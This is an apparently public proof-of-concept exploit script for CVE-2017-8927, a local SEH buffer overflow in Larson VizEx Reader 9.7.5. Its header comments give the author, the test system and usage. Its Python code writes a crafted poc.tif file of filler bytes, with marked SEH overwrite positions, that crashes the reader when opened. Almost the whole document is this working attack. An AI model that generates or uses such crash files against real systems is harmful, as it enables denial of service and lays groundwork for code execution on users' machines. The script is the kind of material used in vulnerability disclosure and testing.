#!/usr/bin/python# Exploit Title : Larson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH)# Date: 14/05/2017# Exploit Author: Muhann4d# CVE : CVE-2017-8927# Vendor Homepage : http://www.cgmlarson.com/# Software Link : http://download.freedownloadmanager.org/Windows-PC/Larson-VizEx-Reader/FREE-9.7.5.html# Affected Versions : 9.7.5 # Category: Denial of Service (DoS) Local# Tested on OS: Windows 7 Professional SP1 32bit# Proof of Concept: run the exploit, open the poc.tif file with Larson VizEx Reader 9.7.5# Vendor has been cantacted but no reply
buf = "\x41"* 800
buff = "\x42"* 4
bufff = "\x43"* 4
buffff = "\x44"* 9999
f = open ("poc.tif","w")
f.write(buf + buff + bufff + buffff)
f.close()